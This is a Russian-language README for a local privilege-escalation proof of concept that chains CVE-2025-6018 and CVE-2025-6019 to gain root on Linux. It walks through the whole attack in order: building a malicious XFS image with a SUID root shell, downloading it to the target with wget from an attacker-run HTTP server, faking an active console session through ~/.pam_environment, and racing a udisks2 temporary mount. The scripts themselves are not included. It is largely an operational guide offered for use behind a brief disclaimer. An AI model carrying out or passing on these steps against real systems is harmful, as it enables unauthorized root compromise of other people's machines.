CVE-2025-6018 и CVE-2025-6019: PoC локального повышения привилегий

Надёжный Proof of Concept (PoC) для объединения CVE-2025-6018 (обход активной сессии PAM/Polkit) и CVE-2025-6019 (ошибка SUID-монтирования в libblockdev) для получения root-доступа на уязвимых Linux-системах.

Отказ от ответственности

Этот инструмент предназначен только для образовательных целей и авторизованных исследований безопасности. Не используйте его на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

---

Цепочка уязвимостей

Этот эксплойт объединяет две логические ошибки для повышения привилегий от обычного пользователя до root:

1. CVE-2025-6018 (вход): ошибка конфигурации в PAM/Polkit позволяет помечать удалённые SSH-сессии как Active=yes. Этот трюк убеждает систему, что удалённый пользователь физически присутствует за консолью, обходя требования пароля для инструментов управления оборудованием, таких как udisks2.
2. CVE-2025-6019 (оружие): библиотека libblockdev (используемая udisks2) не применяет защитный флаг nosuid при временном монтировании файловой системы для операций обслуживания (например, Check или Resize).

Цепочка атаки

1. Подготовка: мы создаём вредоносный XFS-образ, содержащий статическую SUID root-оболочку.
2. Обход: мы полагаемся на статус сессии Active=yes, чтобы смонтировать этот образ как loop-устройство без пароля.
3. Триггер: мы отправляем D-Bus-вызов к Filesystem.Check. Это заставляет udisks2 временно смонтировать образ для его проверки. Критически важно, что во временном монтировании отсутствует nosuid.
4. Состояние гонки (Race Condition): скомпилированная C-программа («Снайпер») в реальном времени отслеживает /proc/mounts. Как только временное монтирование появляется, она выполняет SUID-пейлоад до того, как система его размонтирует.

---

Использование

Этап 1: Подготовка (машина атакующего)

Поскольку на целевой машине часто отсутствуют такие инструменты, как mkfs.xfs или gcc, мы генерируем пейлоад локально.

1. Запустите скрипт сборки на Kali/Parrot:

   root@kitploit:~

   ./build_poc.sh
   

   • Создаёт exploit.img (400MB XFS-образ с SUID-оболочкой).
   • Компилирует catcher (победитель гонки).

2. Загрузите файлы на цель: Запустите Python-сервер:

   root@kitploit:~

   python3 -m http.server 80
   

   На целевой машине (например, в /tmp):

   root@kitploit:~

   wget http://<YOUR_IP>/exploit.img
   wget http://<YOUR_IP>/catcher
   chmod +x catcher
   

Этап 2: Эксплуатация (целевая машина)

1. Скачайте эксплойт-скрипт: Сохраните содержимое exploit.sh из этого репозитория на целевой машине.

2. Запустите эксплойт:

   root@kitploit:~

   chmod +x exploit.sh
   ./exploit.sh
   

3. Получите root: Скрипт автоматически настроит loop-устройство, запустит фоновый catcher и вызовет уязвимость. Вы сразу должны оказаться в root-оболочке.

---

Устранение неполадок

«Требуется аутентификация для настройки loop-устройства»

Если скрипт запрашивает пароль, ваша SSH-сессия не активна.

Решение:

1. Создайте ~/.pam_environment:
   root@kitploit:~

   echo "XDG_SEAT=seat0" > ~/.pam_environment
   echo "XDG_VTNR=1" >> ~/.pam_environment
   

2. Выйдите из системы и войдите снова.
3. Проверьте с помощью loginctl show-session $XDG_SESSION_ID | grep Active. Там должно быть Active=yes.

«Не удалось выиграть гонку / Нет оболочки»

Окно уязвимости длится всего несколько миллисекунд.

• Убедитесь, что вы используете скомпилированный C-catcher (включён в build_poc.sh), а не Bash-цикл.
• Скрипт использует метод Filesystem.Check, который надёжнее, чем Resize.

---

Состав файлов

build_poc.sh (сторона атакующего)

Автоматизирует создание вредоносного образа и компилирует статические бинарники.

exploit.sh (сторона цели)

Оркестратор. Он обеспечивает:

1. Проверку активной сессии.
2. Запуск catcher в фоне.
3. Настройку loop-устройства через udisksctl.
4. Запуск D-Bus-вызова Filesystem.Check.

---

Благодарности

• Первоначальное обнаружение: исследовательская команда Qualys (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/